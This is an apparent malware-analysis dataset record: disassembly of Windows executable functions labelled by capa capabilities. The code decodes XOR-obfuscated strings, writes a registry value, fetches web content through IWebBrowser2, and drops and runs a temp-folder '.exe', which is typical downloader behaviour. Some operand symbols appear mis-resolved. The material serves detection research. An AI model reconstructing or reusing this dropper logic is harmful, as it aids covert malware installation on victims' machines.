joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400059f0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov eax, dword [0x14000faf8]
test eax, eax
jne 0x140005a43
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x140005a23
mov dword [0x14000faf8], 1
jmp 0x140005a5e
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x78
jne 0x140005a3d
mov dword [0x14000faf8], 2
jmp 0x140005b39
mov eax, dword [0x14000faf8]
cmp eax, 1
jne 0x140005b30
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
test rax, rax
mov rdi, rax
je 0x140005b83
cmp word [rdi], 0
mov qword [rsp + 0x50], rbp
mov rbx, rdi
mov qword [rsp + 0x58], r12
je 0x140005a85
add rbx, 2
cmp word [rbx], 0
jne 0x140005a71
add rbx, 2
cmp word [rbx], 0
jne 0x140005a71
xor r12d, r12d
sub rbx, rdi
mov r8, rdi
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
sar rbx, 1
lea r9d, [rbx + 1]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
movsxd rbp, eax
je 0x140005b23
mov rcx, rbp
call fcn.140008590
test rax, rax
mov rsi, rax
je 0x140005b23
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
lea r9d, [rbx + 1]
mov r8, rdi
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], ebp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
test eax, eax
jne 0x140005afd
mov rcx, rsi
call fcn.140004240
mov rsi, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbp, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x140005b09
cmp eax, 2
je 0x140005b39
test eax, eax
jne 0x140005b83
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
test rax, rax
mov rbx, rax
je 0x140005b83
cmp byte [rax], 0
je 0x140005b62
nop
add rax, 1
cmp byte [rax], 0
jne 0x140005b50
add rax, 1
cmp byte [rax], 0
jne 0x140005b50
sub eax, ebx
add eax, 1
movsxd rsi, eax
mov rcx, rsi
call fcn.140008590
test rax, rax
mov rdi, rax
jne 0x140005b95
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140008730
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rax, rdi
add rsp, 0x40
pop rdi
ret
Function at 0x1400068d0
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x5b0
mov rbp, rcx
mov rcx, qword [0x14000fb00]
mov ebx, r9d
mov rdi, r8
mov rsi, rdx
call fcn.140006140
test rax, rax
je 0x140006924
mov r10, qword [rsp + 0x5e0]
mov r9d, ebx
mov r8, rdi
mov rdx, rsi
mov rcx, rbp
mov qword [rsp + 0x20], r10
call rax
jmp 0x1400069b9
mov ecx, 2
call fcn.140007960
lea rcx, [rsp + 0xe0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x98
call fcn.140008e60
mov rax, qword [rsp + 0x5b8]
mov dword [rsp + 0x40], 0xc000000d
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
xor ecx, ecx
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
test eax, eax
jne 0x1400069a5
test ebx, ebx
jne 0x1400069a5
lea ecx, [rax + 2]
call fcn.140007960
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc000000d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140007410
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.140006050
xor ebx, ebx
cmp qword [0x14000fd90], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x14000753c
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x14000764f
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000764f
mov rcx, rax
call fcn.140005f80
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x14000fd90], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f80
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x14000fd98], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f80
lea rcx, [rsp + 0x98]
mov qword [0x14000fda0], rax
call fcn.140004840
test eax, eax
je 0x1400074ef
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140006830
cmp dword [rsp + 0x98], 2
jne 0x14000753c
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f80
test rax, rax
mov qword [0x14000fdb0], rax
je 0x14000753c
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.140005f80
mov qword [0x14000fda8], rax
mov rcx, qword [0x14000fda8]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x1400075e8
cmp qword [0x14000fdb0], rbp
je 0x1400075e8
call fcn.140006140
mov rcx, qword [0x14000fdb0]
mov rsi, rax
call fcn.140006140
test rsi, rsi
mov r12, rax
je 0x1400075e8
test rax, rax
je 0x1400075e8
call rsi
test rax, rax
je 0x1400075b3
lea rcx, [rsp + 0x34]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400075b3
test byte [rsp + 0x40], 1
jne 0x1400075e8
lea rcx, [rsp + 0x30]
call fcn.140004890
test eax, eax
je 0x1400075d5
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.140006830
cmp dword [rsp + 0x30], 4
jb 0x1400075e2
bts edi, 0x15
jmp 0x140007626
bts edi, 0x12
jmp 0x140007626
mov rcx, qword [0x14000fd98]
cmp rcx, rbp
je 0x140007626
call fcn.140006140
test rax, rax
je 0x140007626
call rax
test rax, rax
mov rbx, rax
je 0x140007626
mov rcx, qword [0x14000fda0]
cmp rcx, rbp
je 0x140007626
call fcn.140006140
test rax, rax
je 0x140007626
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14000fd90]
call fcn.140006140
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x14000764f
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140007651
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000a360
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x14000e300]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x14000a3a7
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140004370
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.14000a750
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140004370
add rsp, 0x38
ret
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, 0x706c
mov dword [rbp - 0x39], 0x70187004
mov ecx, 0x66
mov dword [rbp + 0x2b], ebx
mov dword [rbp - 0x35], 0x701c7018
mov dword [rbp - 0x31], 0x7056701f
mov dword [rbp - 0x2d], 0x70437043
mov dword [rbp - 0x29], 0x7000700b
mov dword [rbp - 0x25], 0x700e7003
mov dword [rbp - 0x21], 0x7000700d
mov dword [rbp - 0x1d], 0x7005701a
mov dword [rbp - 0x19], 0x701b7009
mov dword [rbp - 0x15], 0x7002701f
mov dword [rbp - 0x11], 0x7018700d
mov dword [rbp - 0xd], 0x701e7019
mov dword [rbp - 9], 0x70427009
mov dword [rbp - 5], 0x7003700f
mov dword [rbp - 1], 0x70437001
mov dword [rbp + 3], 0x7002700d
mov dword [rbp + 7], 0x7000700d
mov dword [rbp + 0xb], 0x70187015
mov dword [rbp + 0xf], 0x700f7005
mov dword [rbp + 0x13], 0x7043701f
mov dword [rbp + 0x17], 0x700f701f
mov dword [rbp + 0x1b], 0x7005701e
mov dword [rbp + 0x1f], 0x7018701c
mov dword [rbp + 0x23], 0x701c7042
mov dword [rbp + 0x27], 0x701c7004
mov dword [rbp + 0x2f], 0x85c7706c
call fcn.1400026b0
lea r9, [rbp - 0x39]
mov rdx, rax
sub r9, rax
mov r8d, 0x33
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400010fb
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret

Function at 0x140001130
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
mov dword [rbp - 0x20], 0x70707024
mov dword [rbp - 0x1c], 0x70747063
mov ebx, 0x7006
mov dword [rbp - 0x18], 0x706f7075
mov dword [rbp - 0x14], 0x70687069
mov dword [rbp - 0x10], 0x703c7024
mov dword [rbp - 0xc], 0x70067024
mov dword [rbp - 8], 0x85c77006
call fcn.1400026b0
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
mov r8d, 0xc
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000118d
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x1400011ac
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x70f6
mov dword [rbp - 0x30], 0x708570d4
mov ecx, 0x22
mov dword [rbp - 0x10], ebx
mov dword [rbp - 0x2c], 0x70847093
mov dword [rbp - 0x28], 0x7097709f
mov dword [rbp - 0x24], 0x70d4709a
mov dword [rbp - 0x20], 0x70d470cc
mov dword [rbp - 0x1c], 0x70c670d3
mov dword [rbp - 0x18], 0x70ae70ce
mov dword [rbp - 0x14], 0x70da70d4
mov dword [rbp - 0xc], 0x85c770f6
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, 0x11
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000121a
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x14000123c
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x700a
mov dword [rbp - 0x30], 0x70797028
mov ecx, 0x26
mov dword [rbp - 0xc], ebx
mov dword [rbp - 0x2c], 0x70637061
mov dword [rbp - 0x28], 0x7055707a
mov dword [rbp - 0x24], 0x70637079
mov dword [rbp - 0x20], 0x7064706d
mov dword [rbp - 0x1c], 0x707e706b
mov dword [rbp - 0x18], 0x7078707f
mov dword [rbp - 0x14], 0x7028706f
mov dword [rbp - 0x10], 0x70287030
mov dword [rbp - 8], 0x85c7700a
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, SafeArrayGetElement
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x1400012b1
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400012d0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x70
mov ecx, 0x48
mov dword [rbp - 0x50], 0x70637020
mov dword [rbp - 0x4c], 0x70727072
mov ebx, 0x7002
mov dword [rbp - 0x48], 0x70637066
mov dword [rbp - 0x44], 0x70637076
mov dword [rbp - 0x40], 0x7061705d
mov dword [rbp - 0x3c], 0x70677070
mov dword [rbp - 0x38], 0x70767063
mov dword [rbp - 0x34], 0x706d706b
mov dword [rbp - 0x30], 0x705d706c
mov dword [rbp - 0x2c], 0x706b7076
mov dword [rbp - 0x28], 0x7067706f
mov dword [rbp - 0x24], 0x70387020
mov dword [rbp - 0x20], 0x70277020
mov dword [rbp - 0x1c], 0x703a7032
mov dword [rbp - 0x18], 0x7027705a
mov dword [rbp - 0x14], 0x703a7032
mov dword [rbp - 0x10], 0x7020705a
mov dword [rbp - 0xc], 0x7002702e
mov dword [rbp - 8], 0x85c77002
call fcn.1400026b0
lea r9, [rbp - 0x50]
mov rdx, rax
sub r9, rax
mov r8d, 0x24
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001381
mov rbx, qword [rsp + 0x80]
add rsp, 0x70
pop rbp
ret
Function at 0x1400013a4
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov ebx, 0x7073
mov dword [rbp - 0x39], 0x7007701b
mov ecx, 0x66
mov dword [rbp + 0x2b], ebx
mov dword [rbp - 0x35], 0x70037007
mov dword [rbp - 0x31], 0x70497000
mov dword [rbp - 0x2d], 0x705c705c
mov dword [rbp - 0x29], 0x70127010
mov dword [rbp - 0x25], 0x701f7001
mov dword [rbp - 0x21], 0x70197000
mov dword [rbp - 0x1d], 0x7006701c
mov dword [rbp - 0x19], 0x701d7001
mov dword [rbp - 0x15], 0x701f7012
mov dword [rbp - 0x11], 0x7016701e
mov dword [rbp - 0xd], 0x701a7017
mov dword [rbp - 9], 0x705d7012
mov dword [rbp - 5], 0x701c7010
mov dword [rbp - 1], 0x705c701e
mov dword [rbp + 3], 0x701d7012
mov dword [rbp + 7], 0x701f7012
mov dword [rbp + 0xb], 0x7007700a
mov dword [rbp + 0xf], 0x7010701a
mov dword [rbp + 0x13], 0x705c7000
mov dword [rbp + 0x17], 0x70107000
mov dword [rbp + 0x1b], 0x701a7001
mov dword [rbp + 0x1f], 0x70077003
mov dword [rbp + 0x23], 0x7003705d
mov dword [rbp + 0x27], 0x7003701b
mov dword [rbp + 0x2f], 0x85c77073
call fcn.1400026b0
lea r9, [rbp - 0x39]
mov rdx, rax
sub r9, rax
mov r8d, 0x33
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x14000149f
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140001afc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x40
mov ecx, SafeArrayGetElement
mov dword [rbp - 0x20], 0x7066706b
mov dword [rbp - 0x1c], 0x7020703f
mov ebx, 0x7002
mov dword [rbp - 0x18], 0x70637066
mov dword [rbp - 0x14], 0x70637076
mov dword [rbp - 0x10], 0x70027020
mov dword [rbp - 0xc], 0x85c77002
call fcn.1400026b0
lea r9, [rbp - 0x20]
mov rdx, rax
sub r9, rax
mov r8d, 0xa
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001b52
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rbp
ret

Function at 0x140001b74
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
movdqa xmm0, xmmword [0x140011460]
mov ebx, 0x2a
movdqa xmm1, xmmword [0x140011470]
mov ecx, ebx
movdqu xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x10], 0xe8ffe8f5
movdqu xmmword [rbp - 0x20], xmm1
mov dword [rbp - 0xc], 0xf3fbd7c6
mov dword [rbp - 8], 0x9af4
mov dword [rbp - 4], 0x85c7709a
call fcn.1400026b0
lea r8, [rbp - 0x30]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0x9a
mov byte [rdx], cl
inc rdx
sub rbx, 1
jne 0x140001bcd
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001bec
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, 0x70fb
mov dword [rbp - 0x30], 0x708870c7
mov ecx, 0x26
mov dword [rbp - 0xc], ebx
mov dword [rbp - 0x2c], 0x709a708b
mov dword [rbp - 0x28], 0x70c57095
mov dword [rbp - 0x24], 0x709c7095
mov dword [rbp - 0x20], 0x70957092
mov dword [rbp - 0x1c], 0x70c77083
mov dword [rbp - 0x18], 0x708870d4
mov dword [rbp - 0x14], 0x709a708b
mov dword [rbp - 0x10], 0x70c57095
mov dword [rbp - 8], 0x85c770fb
call fcn.1400026b0
lea r9, [rbp - 0x30]
mov rdx, rax
sub r9, rax
mov r8d, SafeArrayGetElement
mov ecx, ebx
xor cx, word [r9 + rdx]
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r8, 1
jne 0x140001c61
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x140001c80
Capabilities:
Reference http user-agent string

Disassembly:
mov rax, rsp
sub rsp, 0x228
lea r8, [rax + 8]
mov dword [rax + 8], 0x200
lea rdx, [rsp + 0x20]
xor ecx, ecx
call sub.urlmon.dll_ObtainUserAgentString
test eax, eax
jns 0x140001ca9
xor eax, eax
jmp 0x140001cb3
lea rcx, [rsp + 0x20]
call fcn.1400079f0
add rsp, 0x228
ret
Function at 0x140001cbc
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x150]
sub rsp, 0x250
and qword [rbp + 0x180], 0
lea r8, [rbp + 0x180]
movsxd rdx, edx
call fcn.14000a51c
lea rdx, [rsp + 0x40]
mov ecx, 0x104
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
lea rcx, [rbp + 0x188]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r8d, dword [rbp + 0x188]
lea rdx, str._08X.exe
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140007ae4
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rbp + 0x180]
xor ebx, ebx
and dword [rbp + 0x178], ebx
mov rdi, rax
xor edx, edx
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x178]
sub ecx, ebx
add rdx, rsi
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001da6
add ebx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov edx, ebx
cmp rdx, rcx
jb 0x140001d70
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret

Function at 0x140001de8
Capabilities:
Encode data using add xor sub operations
Encode data using xor
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x70
xor edi, edi
lea rcx, [rbp + 0x20]
mov qword [rbp + 0x28], rdi
call fcn.140001b74
mov qword [rsp + 0x40], rdi
mov rdx, rax
lea rax, [rbp + 0x28]
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rdi
mov rcx, 0xffffffff80000001
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x140001e46
xor al, al
jmp 0x140001ed9
movdqa xmm0, xmmword [0x140011450]
xor eax, eax
mov esi, 1
mov dword [rbp - 0x10], 0xcfd4d3d5
mov dword [rbp + 0x20], esi
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xc], 0xc5dac9cd
lea ebx, [rsi + 0x18]
mov byte [rbp - 8], 0xa0
mov ecx, ebx
mov word [rbp - 7], ax
mov byte [rbp - 5], al
mov dword [rbp - 4], 0x85c770a0
call fcn.1400026b0
lea r8, [rbp - 0x20]
mov rdx, rax
sub r8, rax
mov cl, byte [r8 + rdx]
xor cl, 0xa0
mov byte [rdx], cl
add rdx, rsi
sub rbx, rsi
jne 0x140001e91
lea r9d, [rbx + 4]
xor r8d, r8d
lea rcx, [rbp + 0x20]
mov dword [rsp + 0x28], r9d
mov qword [rsp + 0x20], rcx
mov rdx, rax
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x28]
test eax, eax
movzx ebx, dil
cmove ebx, esi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001eec
Capabilities:
Initialize iwebbrowser2

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
movsxd rbx, r8d
mov rsi, rdx
mov r14, rcx
xor dil, dil
call fcn.140001de8
mov edx, 6
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
lea rcx, [rbp + 0x27]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
and qword [rbp - 0x29], 0
lea rax, [rbp - 0x29]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r9, [0x140012288]
lea rcx, [0x140012298]
lea r8d, [rdx + 0x15]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x140002121
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov ecx, 0x11
mov r8d, ebx
mov r14, rax
xor edx, edx
mov eax, 0x2011
mov word [rbp + 0xf], ax
call qword [sym.imp.OLEAUT32.dll_SafeArrayCopyData]
and qword [rbp - 1], 0
lea rdx, [rbp - 1]
mov rcx, rax
mov qword [rbp + 0x17], rax
call qword [sym.imp.OLEAUT32.dll_SafeArrayUnaccessData]
mov rcx, qword [rbp - 1]
mov r8, rbx
mov rdx, rsi
call fcn.14000262c
mov rcx, qword [rbp + 0x17]
call qword [sym.imp.OLEAUT32.dll_SafeArrayGetElement]
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp + 0x27]
mov qword [rsp + 0x28], rdx
lea r9, [rbp + 0x27]
lea rdx, [rbp + 0xf]
mov qword [rsp + 0x20], rdx
lea r8, [rbp + 0x27]
mov rax, qword [rcx]
mov rdx, r14
call qword [rax + 0x58]
test eax, eax
js 0x140002104
jmp 0x140001fe9
cmp dword [rbp - 0x21], 4
je 0x140002003
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 0x21]
mov rax, qword [rcx]
call qword [rax + 0x1c0]
test eax, eax
jns 0x140001fe3
jmp 0x140002104
mov rcx, qword [rbp - 0x29]
lea rdx, [rbp - 9]
and qword [rbp - 9], 0
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
js 0x140002104
mov rcx, qword [rbp - 9]
test rcx, rcx
je 0x140002104
and qword [rbp + 7], 0
lea r8, [rbp + 7]
mov rax, qword [rcx]
lea rdx, [0x1400122a8]
call qword [rax]
test eax, eax
js 0x1400020fa
mov rcx, qword [rbp + 7]
lea rdx, [rbp - 0x11]
and qword [rbp - 0x11], 0
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
js 0x1400020fa
mov rcx, qword [rbp - 0x11]
lea rdx, [rbp - 0x19]
and qword [rbp - 0x19], 0
mov rax, qword [rcx]
call qword [rax + 0x1d0]
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
call fcn.140001bec
mov rdx, rax
mov rcx, rbx
call fcn.140007e64
test rax, rax
je 0x1400020f0
mov rbx, qword [rbp - 0x19]
lea rcx, [rbp + 0x7f]
mov dil, 1
call fcn.140001afc
mov rdx, rax
mov rcx, rbx
call fcn.140007e64
test rax, rax
je 0x1400020f0
lea rdx, [0x140011424]
mov rcx, rax
call fcn.140007e64
lea rdx, [0x140011428]
lea rbx, [rax + 2]
mov rcx, rbx
call fcn.140007e64
sub rax, rbx
sar rax, 1
cmp eax, 0x20
jle 0x1400020f0
mov edx, eax
mov rcx, rbx
call fcn.140001cbc
mov rcx, qword [rbp - 0x11]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 9]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x70]
mov rcx, r14
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov rcx, qword [rbp - 0x29]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
lea r11, [rsp + 0xa0]
mov al, dil
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret